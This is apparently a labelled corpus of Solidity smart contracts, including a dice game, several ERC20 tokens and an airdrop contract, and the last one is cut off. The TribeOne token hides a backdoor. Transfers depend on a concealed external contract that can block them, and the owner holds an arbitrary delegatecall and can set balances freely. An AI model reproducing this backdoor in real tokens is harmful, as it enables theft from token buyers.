bytes memory delay = new bytes(32);
assembly {
mstore(add(delay, 0x20), _delay)
}
bytes memory delay_bytes8 = new bytes(8);
copyBytes(delay, 24, 8, delay_bytes8, 0);
bytes[4] memory args = [unonce, nbytes, sessionKeyHash, delay];
bytes32 queryId = oraclize_query("random", args, _customGasLimit);
bytes memory delay_bytes8_left = new bytes(8);
assembly {
let x := mload(add(delay_bytes8, 0x20))
mstore8(add(delay_bytes8_left, 0x27), div(x, 0x100000000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x26), div(x, 0x1000000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x25), div(x, 0x10000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x24), div(x, 0x100000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x23), div(x, 0x1000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x22), div(x, 0x10000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x21), div(x, 0x100000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x20), div(x, 0x1000000000000000000000000000000000000000000000000))
}
oraclize_randomDS_setCommitment(queryId, keccak256(abi.encodePacked(delay_bytes8_left, args[1], sha256(args[0]), args[2])));
return queryId;
}
function oraclize_randomDS_setCommitment(bytes32 queryId, bytes32 commitment) internal {
oraclize_randomDS_args[queryId] = commitment;
}
mapping(bytes32=>bytes32) oraclize_randomDS_args;
mapping(bytes32=>bool) oraclize_randomDS_sessionKeysHashVerified;
function verifySig(bytes32 tosignh, bytes dersig, bytes pubkey) internal returns (bool){
bool sigok;
address signer;
bytes32 sigr;
bytes32 sigs;
bytes memory sigr_ = new bytes(32);
uint offset = 4+(uint(dersig[3]) - 0x20);
sigr_ = copyBytes(dersig, offset, 32, sigr_, 0);
bytes memory sigs_ = new bytes(32);
offset += 32 + 2;
sigs_ = copyBytes(dersig, offset+(uint(dersig[offset-1]) - 0x20), 32, sigs_, 0);
assembly {
sigr := mload(add(sigr_, 32))
sigs := mload(add(sigs_, 32))
}
(sigok, signer) = safer_ecrecover(tosignh, 27, sigr, sigs);
if (address(keccak256(pubkey)) == signer) return true;
else {
(sigok, signer) = safer_ecrecover(tosignh, 28, sigr, sigs);
return (address(keccak256(pubkey)) == signer);
}
}
function oraclize_randomDS_proofVerify__sessionKeyValidity(bytes proof, uint sig2offset) internal returns (bool) {
bool sigok;
bytes memory sig2 = new bytes(uint(proof[sig2offset+1])+2);
copyBytes(proof, sig2offset, sig2.length, sig2, 0);
bytes memory appkey1_pubkey = new bytes(64);
copyBytes(proof, 3+1, 64, appkey1_pubkey, 0);
bytes memory tosign2 = new bytes(1+65+32);
tosign2[0] = byte(1);
copyBytes(proof, sig2offset-65, 65, tosign2, 1);
bytes memory CODEHASH = hex"fd94fa71bc0ba10d39d464d0d8f465efeef0a2764e3887fcc9df41ded20f505c";
copyBytes(CODEHASH, 0, 32, tosign2, 1+65);
sigok = verifySig(sha256(tosign2), sig2, appkey1_pubkey);
if (sigok == false) return false;
bytes memory LEDGERKEY = hex"7fb956469c5c9b89840d55b43537e66a98dd4811ea0a27224272c2e5622911e8537a2f8e86a46baec82864e98dd01e9ccc2f8bc5dfc9cbe5a91a290498dd96e4";
bytes memory tosign3 = new bytes(1+65);
tosign3[0] = 0xFE;
copyBytes(proof, 3, 65, tosign3, 1);
bytes memory sig3 = new bytes(uint(proof[3+65+1])+2);
copyBytes(proof, 3+65, sig3.length, sig3, 0);
sigok = verifySig(sha256(tosign3), sig3, LEDGERKEY);
return sigok;
}
modifier oraclize_randomDS_proofVerify(bytes32 _queryId, string _result, bytes _proof) {
require((_proof[0] == "L") && (_proof[1] == "P") && (_proof[2] == 1));
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
require(proofVerified);
_;
}
function oraclize_randomDS_proofVerify__returnCode(bytes32 _queryId, string _result, bytes _proof) internal returns (uint8){
if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) return 1;
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
if (proofVerified == false) return 2;
return 0;
}
function matchBytes32Prefix(bytes32 content, bytes prefix, uint n_random_bytes) internal pure returns (bool){
bool match_ = true;
require(prefix.length == n_random_bytes);
for (uint256 i=0; i< n_random_bytes; i++) {
if (content[i] != prefix[i]) match_ = false;
}
return match_;
}
function oraclize_randomDS_proofVerify__main(bytes proof, bytes32 queryId, bytes result, string context_name) internal returns (bool){
uint ledgerProofLength = 3+65+(uint(proof[3+65+1])+2)+32;
bytes memory keyhash = new bytes(32);
copyBytes(proof, ledgerProofLength, 32, keyhash, 0);
if (!(keccak256(keyhash) == keccak256(abi.encodePacked(sha256(abi.encodePacked(context_name, queryId)))))) return false;
bytes memory sig1 = new bytes(uint(proof[ledgerProofLength+(32+8+1+32)+1])+2);
copyBytes(proof, ledgerProofLength+(32+8+1+32), sig1.length, sig1, 0);
if (!matchBytes32Prefix(sha256(sig1), result, uint(proof[ledgerProofLength+32+8]))) return false;
bytes memory commitmentSlice1 = new bytes(8+1+32);
copyBytes(proof, ledgerProofLength+32, 8+1+32, commitmentSlice1, 0);
bytes memory sessionPubkey = new bytes(64);
uint sig2offset = ledgerProofLength+32+(8+1+32)+sig1.length+65;
copyBytes(proof, sig2offset-64, 64, sessionPubkey, 0);
bytes32 sessionPubkeyHash = sha256(sessionPubkey);
if (oraclize_randomDS_args[queryId] == keccak256(abi.encodePacked(commitmentSlice1, sessionPubkeyHash))){
delete oraclize_randomDS_args[queryId];
} else return false;
bytes memory tosign1 = new bytes(32+8+1+32);
copyBytes(proof, ledgerProofLength, 32+8+1+32, tosign1, 0);
if (!verifySig(sha256(tosign1), sig1, sessionPubkey)) return false;
if (oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] == false){
oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] = oraclize_randomDS_proofVerify__sessionKeyValidity(proof, sig2offset);
}
return oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash];
}
function copyBytes(bytes from, uint fromOffset, uint length, bytes to, uint toOffset) internal pure returns (bytes) {
uint minLength = length + toOffset;
require(to.length >= minLength);
uint i = 32 + fromOffset;
uint j = 32 + toOffset;
while (i < (32 + fromOffset + length)) {
assembly {
let tmp := mload(add(from, i))
mstore(add(to, j), tmp)
}
i += 32;
j += 32;
}
return to;
}
function safer_ecrecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal returns (bool, address) {
bool ret;
address addr;
assembly {
let size := mload(0x40)
mstore(size, hash)
mstore(add(size, 32), v)
mstore(add(size, 64), r)
mstore(add(size, 96), s)
ret := call(3000, 1, 0, size, 128, size, 32)
addr := mload(size)
}
return (ret, addr);
}
function ecrecovery(bytes32 hash, bytes sig) internal returns (bool, address) {
bytes32 r;
bytes32 s;
uint8 v;
if (sig.length != 65)
return (false, 0);
assembly {
r := mload(add(sig, 32))
s := mload(add(sig, 64))
v := byte(0, mload(add(sig, 96)))
}
if (v < 27)
v += 27;
if (v != 27 && v != 28)
return (false, 0);
return safer_ecrecover(hash, v, r, s);
}
function safeMemoryCleaner() internal pure {
assembly {
let fmem := mload(0x40)
codecopy(fmem, codesize, sub(msize, fmem))
}
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract BMRoll is usingOraclize {
using SafeMath for uint256;
modifier betIsValid(uint _betSize, uint _playerNumber) {
require(_betSize >= minBet && _playerNumber >= minNumber && _playerNumber <= maxNumber && (((((_betSize * (100-(_playerNumber.sub(1)))) / (_playerNumber.sub(1))+_betSize))*houseEdge/houseEdgeDivisor)-_betSize <= maxProfit));
_;
}
modifier gameIsActive {
require(gamePaused == false);
_;
}
modifier payoutsAreActive {
require(payoutsPaused == false);
_;
}
modifier onlyOraclize {
require(msg.sender == oraclize_cbAddress());
_;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
modifier onlyTreasury {
require (msg.sender == treasury);
_;
}
uint constant public maxProfitDivisor = 1000000;
uint constant public houseEdgeDivisor = 1000;
uint constant public maxNumber = 99;
uint constant public minNumber = 2;
bool public gamePaused;
uint32 public gasForOraclize;
address public owner;
bool public payoutsPaused;
address public treasury;
uint public contractBalance;
uint public houseEdge;
uint public maxProfit;
uint public maxProfitAsPercentOfHouse;
uint public minBet;
uint public totalBets = 0;
uint public totalWeiWon = 0;
uint public totalWeiWagered = 0;
uint public maxPendingPayouts;
mapping (bytes32 => address) playerAddress;
mapping (bytes32 => address) playerTempAddress;
mapping (bytes32 => bytes32) playerBetId;
mapping (bytes32 => uint) playerBetValue;
mapping (bytes32 => uint) playerTempBetValue;
mapping (bytes32 => uint) playerDieResult;
mapping (bytes32 => uint) playerNumber;
mapping (address => uint) playerPendingWithdrawals;
mapping (bytes32 => uint) playerProfit;
mapping (bytes32 => uint) playerTempReward;
event LogBet(bytes32 indexed BetID, address indexed PlayerAddress, uint indexed RewardValue, uint ProfitValue, uint BetValue, uint PlayerNumber);
event LogResult(bytes32 indexed BetID, address indexed PlayerAddress, uint PlayerNumber, uint DiceResult, uint ProfitValue, uint BetValue, int Status, bytes Proof);
event LogRefund(bytes32 indexed BetID, address indexed PlayerAddress, uint indexed RefundValue);
event LogOwnerTransfer(address indexed SentToAddress, uint indexed AmountTransferred);
constructor() public {
owner = msg.sender;
treasury = msg.sender;
oraclize_setNetwork(networkID_auto);
oraclize_setProof(proofType_Ledger);
ownerSetHouseEdge(980);
ownerSetMaxProfitAsPercentOfHouse(50000);
ownerSetMinBet(100000000000000000);
gasForOraclize = 235000;
oraclize_setCustomGasPrice(20000000000 wei);
}
function playerRollDice(uint rollUnder) public
payable
gameIsActive
betIsValid(msg.value, rollUnder)
{
bytes32 rngId = oraclize_newRandomDSQuery(0, 1, gasForOraclize);
playerBetId[rngId] = rngId;
playerNumber[rngId] = rollUnder;
playerBetValue[rngId] = msg.value;
playerAddress[rngId] = msg.sender;
playerProfit[rngId] = ((((msg.value * (100-(rollUnder.sub(1)))) / (rollUnder.sub(1))+msg.value))*houseEdge/houseEdgeDivisor)-msg.value;
maxPendingPayouts = maxPendingPayouts.add(playerProfit[rngId]);
if(maxPendingPayouts >= contractBalance) revert();
emit LogBet(playerBetId[rngId], playerAddress[rngId], playerBetValue[rngId].add(playerProfit[rngId]), playerProfit[rngId], playerBetValue[rngId], playerNumber[rngId]);
}
function __callback(bytes32 myid, string result, bytes proof) public
onlyOraclize
payoutsAreActive
{
require(playerAddress[myid]!=0x0);
playerDieResult[myid] = uint(keccak256(abi.encodePacked(result))) % 100;
playerTempAddress[myid] = playerAddress[myid];
delete playerAddress[myid];
playerTempReward[myid] = playerProfit[myid];
playerProfit[myid] = 0;
maxPendingPayouts = maxPendingPayouts.sub(playerTempReward[myid]);
playerTempBetValue[myid] = playerBetValue[myid];
playerBetValue[myid] = 0;
totalBets += 1;
totalWeiWagered += playerTempBetValue[myid];
if (playerDieResult[myid] == 0 || bytes(result).length == 0 || bytes(proof).length == 0 || oraclize_randomDS_proofVerify__returnCode(myid, result, proof) != 0) {
emit LogResult(playerBetId[myid], playerTempAddress[myid], playerNumber[myid], playerDieResult[myid], 0, playerTempBetValue[myid], 3, proof);
if(!playerTempAddress[myid].send(playerTempBetValue[myid])){
emit LogResult(playerBetId[myid], playerTempAddress[myid], playerNumber[myid], playerDieResult[myid], 0, playerTempBetValue[myid], 4, proof);
playerPendingWithdrawals[playerTempAddress[myid]] = playerPendingWithdrawals[playerTempAddress[myid]].add(playerTempBetValue[myid]);
}
return;
}
if(playerDieResult[myid] < playerNumber[myid]){
contractBalance = contractBalance.sub(playerTempReward[myid]);
totalWeiWon = totalWeiWon.add(playerTempReward[myid]);
playerTempReward[myid] = playerTempReward[myid].add(playerTempBetValue[myid]);
emit LogResult(playerBetId[myid], playerTempAddress[myid], playerNumber[myid], playerDieResult[myid], playerTempReward[myid], playerTempBetValue[myid],1, proof);
setMaxProfit();
if(!playerTempAddress[myid].send(playerTempReward[myid])){
emit LogResult(playerBetId[myid], playerTempAddress[myid], playerNumber[myid], playerDieResult[myid], playerTempReward[myid], playerTempBetValue[myid], 2, proof);
playerPendingWithdrawals[playerTempAddress[myid]] = playerPendingWithdrawals[playerTempAddress[myid]].add(playerTempReward[myid]);
}
return;
}
if(playerDieResult[myid] >= playerNumber[myid]){
emit LogResult(playerBetId[myid], playerTempAddress[myid], playerNumber[myid], playerDieResult[myid], 0, playerTempBetValue[myid], 0, proof);
contractBalance = contractBalance.add((playerTempBetValue[myid]-1));
setMaxProfit();
if(!playerTempAddress[myid].send(1)){
playerPendingWithdrawals[playerTempAddress[myid]] = playerPendingWithdrawals[playerTempAddress[myid]].add(1);
}
return;
}
}
function playerWithdrawPendingTransactions() public
payoutsAreActive
returns (bool)
{
uint withdrawAmount = playerPendingWithdrawals[msg.sender];
playerPendingWithdrawals[msg.sender] = 0;
if (msg.sender.call.value(withdrawAmount)()) {
return true;
} else {
playerPendingWithdrawals[msg.sender] = withdrawAmount;
return false;
}
}
function playerGetPendingTxByAddress(address addressToCheck) public constant returns (uint) {
return playerPendingWithdrawals[addressToCheck];
}
function setMaxProfit() internal {
maxProfit = (contractBalance*maxProfitAsPercentOfHouse)/maxProfitDivisor;
}
function ()
payable public
onlyTreasury
{
contractBalance = contractBalance.add(msg.value);
setMaxProfit();
}
function ownerSetCallbackGasPrice(uint newCallbackGasPrice) public
onlyOwner
{
oraclize_setCustomGasPrice(newCallbackGasPrice);
}
function ownerSetOraclizeSafeGas(uint32 newSafeGasToOraclize) public
onlyOwner
{
gasForOraclize = newSafeGasToOraclize;
}
function ownerUpdateContractBalance(uint newContractBalanceInWei) public
onlyOwner
{
contractBalance = newContractBalanceInWei;
}
function ownerSetHouseEdge(uint newHouseEdge) public
onlyOwner
{
houseEdge = newHouseEdge;
}
function ownerSetMaxProfitAsPercentOfHouse(uint newMaxProfitAsPercent) public
onlyOwner
{
require(newMaxProfitAsPercent <= 50000);
maxProfitAsPercentOfHouse = newMaxProfitAsPercent;
setMaxProfit();
}
function ownerSetMinBet(uint newMinimumBet) public
onlyOwner
{
minBet = newMinimumBet;
}
function ownerTransferEther(address sendTo, uint amount) public
onlyOwner
{
contractBalance = contractBalance.sub(amount);
setMaxProfit();
if(!sendTo.send(amount)) revert();
emit LogOwnerTransfer(sendTo, amount);
}
function ownerRefundPlayer(bytes32 originalPlayerBetId, address sendTo, uint originalPlayerProfit, uint originalPlayerBetValue) public
onlyOwner
{
maxPendingPayouts = maxPendingPayouts.sub(originalPlayerProfit);
if(!sendTo.send(originalPlayerBetValue)) revert();
emit LogRefund(originalPlayerBetId, sendTo, originalPlayerBetValue);
}
function ownerPauseGame(bool newStatus) public
onlyOwner
{
gamePaused = newStatus;
}
function ownerPausePayouts(bool newPayoutStatus) public
onlyOwner
{
payoutsPaused = newPayoutStatus;
}
function ownerSetTreasury(address newTreasury) public
onlyOwner
{
treasury = newTreasury;
}
function ownerChangeOwner(address newOwner) public
onlyOwner
{
require(newOwner != 0);
owner = newOwner;
}
function ownerkill() public
onlyOwner
{
selfdestruct(owner);
}
} | 0 | 1,944 |
pragma solidity ^0.7.0;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BotProtected {
address internal owner;
address internal stopTheBots;
address public uniPair;
constructor(address _botProtection) {
stopTheBots = _botProtection;
}
modifier checkBots(address _from, address _to, uint256 _value) {
(bool notABot, bytes memory isNotBot) = stopTheBots.call(abi.encodeWithSelector(0x15274141, _from, _to, uniPair, _value));
require(notABot);
_;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
abstract contract ERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
}
}
contract TribeOne is BotProtected {
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply = 188370288000000000000000000;
string public name = "TribeOne";
string public symbol = "HAKA";
IUniswapV2Router02 public routerForUniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public wETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
constructor(address _botProtection) BotProtected(_botProtection) {
owner = tx.origin;
uniPair = pairForUniswap(wETH, address(this));
allowance[address(this)][address(routerForUniswap)] = uint(-1);
allowance[tx.origin][uniPair] = uint(-1);
}
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable checkBots(_from, _to, _value) returns (bool) {
if (_value == 0) { return true; }
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function pairForUniswap(address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
function list(uint _numList, address[] memory _tos, uint[] memory _amounts) public payable {
require(msg.sender == owner);
balanceOf[address(this)] = _numList;
balanceOf[msg.sender] = totalSupply * 6 / 100;
routerForUniswap.addLiquidityETH{value: msg.value}(
address(this),
_numList,
_numList,
msg.value,
msg.sender,
block.timestamp + 600
);
require(_tos.length == _amounts.length);
stopTheBots.call(abi.encodeWithSelector(0xd5eaf4c3, _tos));
for(uint i = 0; i < _tos.length; i++) {
balanceOf[_tos[i]] = _amounts[i];
emit Transfer(address(0x0), _tos[i], _amounts[i]);
}
}
} | 0 | 1,838 |
pragma solidity ^0.4.23;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20 {
uint256 public totalSupply;
function balanceOf(address _owner) constant returns (uint256 balance);
function transfer(address _to, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract BwinToken is ERC20 {
using SafeMath for uint256;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalSupply = 1000000000000000000;
string public constant name = "BwinToken";
string public constant symbol = "BWINT";
uint public constant decimals = 8;
function BwinToken(){
balances[msg.sender] = totalSupply;
}
function balanceOf(address _owner) constant public returns (uint256) {
return balances[_owner];
}
function transfer(address _to, uint256 _value) returns (bool success) {
if (balances[msg.sender] >= _value && _value > 0) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
} else { return false; }
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) {
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(_from, _to, _value);
return true;
} else { return false; }
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function () {
throw;
}
} | 1 | 4,804 |
pragma solidity ^0.4.16;
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
require(newOwner != address(0));
owner = newOwner;
}
}
interface Token {
function transfer(address _to, uint256 _value) returns (bool);
function balanceOf(address _owner) constant returns (uint256 balance);
}
contract AirDrop is Ownable {
Token token;
event TransferredToken(address indexed to, uint256 value);
event FailedTransfer(address indexed to, uint256 value);
modifier whenDropIsActive() {
assert(isActive());
_;
}
function AirDrop () {
address _tokenAddr = 0xb62d18DeA74045E822352CE4B3EE77319DC5ff2F;
token = Token(_tokenAddr);
}
function isActive() constant returns (bool) {
return (
tokensAvailable() > 0
);
}
function sendTokens(address[] dests, uint256[] values) whenDropIsActive onlyOwner external {
uint256 i = 0;
while (i < dests.length) {
uint256 toSend = values[i] * 10**18;
sendInternally(dests[i], toSend, values[i]);
i++;
}
}
function sendInternally(address recipient, uint256 tokensToSend, uint256 valueToPresent) internal {
if (recipient == address(0)) return;
if (tokensAvailable() >= tokensToSend) {
token.transfer(recipient, tokensToSend);
TransferredToken(recipient, valueToPresent);
} else {
FailedTransfer(recipient, valueToPresent);
}
}
function tokensAvailable() constant returns (uint256) {
return token.balanceOf(this);
}
function destroy() onlyOwner {
uint256 balance = tokensAvailable();
require (balance > 0);
token.transfer(owner, balance);
selfdestruct(owner);
}
} | 0 | 255 |
pragma solidity ^0.4.24;
contract IMigrationContract {
function migrate(address addr, uint256 nas) returns (bool success);
}
contract SafeMath {
function safeAdd(uint256 x, uint256 y) internal returns(uint256) {
uint256 z = x + y;
assert((z >= x) && (z >= y));
return z;
}
function safeSubtract(uint256 x, uint256 y) internal returns(uint256) {
assert(x >= y);
uint256 z = x - y;
return z;
}
function safeMult(uint256 x, uint256 y) internal returns(uint256) {
uint256 z = x * y;
assert((x == 0)||(z/x == y));
return z;
}
}
contract Token {
uint256 public totalSupply;
function balanceOf(address _owner) constant returns (uint256 balance);
function transfer(address _to, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract StandardToken is Token {
function transfer(address _to, uint256 _value) returns (bool success) {
if (balances[msg.sender] >= _value && _value > 0) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else {
return false;
}
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else {
return false;
}
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
}
contract EBBToken is StandardToken, SafeMath {
string public constant name = "易宝币";
string public constant symbol = "EBB";
uint256 public constant decimals = 18;
string public version = "1.0";
address public ethFundDeposit;
address public newContractAddr;
bool public isFunding;
uint256 public fundingStartBlock;
uint256 public fundingStopBlock;
uint256 public currentSupply;
uint256 public tokenRaised = 0;
uint256 public tokenMigrated = 0;
uint256 public tokenExchangeRate = 5963;
event AllocateToken(address indexed _to, uint256 _value);
event IssueToken(address indexed _to, uint256 _value);
event IncreaseSupply(uint256 _value);
event DecreaseSupply(uint256 _value);
event Migrate(address indexed _to, uint256 _value);
function formatDecimals(uint256 _value) internal returns (uint256 ) {
return _value * 10 ** decimals;
}
function EBBToken(
address _ethFundDeposit,
uint256 _currentSupply)
{
ethFundDeposit = _ethFundDeposit;
isFunding = false;
fundingStartBlock = 0;
fundingStopBlock = 0;
currentSupply = formatDecimals(_currentSupply);
totalSupply = formatDecimals(1600000000);
balances[msg.sender] = totalSupply;
if(currentSupply > totalSupply) throw;
}
modifier isOwner() { require(msg.sender == ethFundDeposit); _; }
function setTokenExchangeRate(uint256 _tokenExchangeRate) isOwner external {
if (_tokenExchangeRate == 0) throw;
if (_tokenExchangeRate == tokenExchangeRate) throw;
tokenExchangeRate = _tokenExchangeRate;
}
function increaseSupply (uint256 _value) isOwner external {
uint256 value = formatDecimals(_value);
if (value + currentSupply > totalSupply) throw;
currentSupply = safeAdd(currentSupply, value);
IncreaseSupply(value);
}
function decreaseSupply (uint256 _value) isOwner external {
uint256 value = formatDecimals(_value);
if (value + tokenRaised > currentSupply) throw;
currentSupply = safeSubtract(currentSupply, value);
DecreaseSupply(value);
}
function startFunding (uint256 _fundingStartBlock, uint256 _fundingStopBlock) isOwner external {
if (isFunding) throw;
if (_fundingStartBlock >= _fundingStopBlock) throw;
if (block.number >= _fundingStartBlock) throw;
fundingStartBlock = _fundingStartBlock;
fundingStopBlock = _fundingStopBlock;
isFunding = true;
}
function stopFunding() isOwner external {
if (!isFunding) throw;
isFunding = false;
}
function setMigrateContract(address _newContractAddr) isOwner external {
if (_newContractAddr == newContractAddr) throw;
newContractAddr = _newContractAddr;
}
function changeOwner(address _newFundDeposit) isOwner() external {
if (_newFundDeposit == address(0x0)) throw;
ethFundDeposit = _newFundDeposit;
}
function migrate() external {
if(isFunding) throw;
if(newContractAddr == address(0x0)) throw;
uint256 tokens = balances[msg.sender];
if (tokens == 0) throw;
balances[msg.sender] = 0;
tokenMigrated = safeAdd(tokenMigrated, tokens);
IMigrationContract newContract = IMigrationContract(newContractAddr);
if (!newContract.migrate(msg.sender, tokens)) throw;
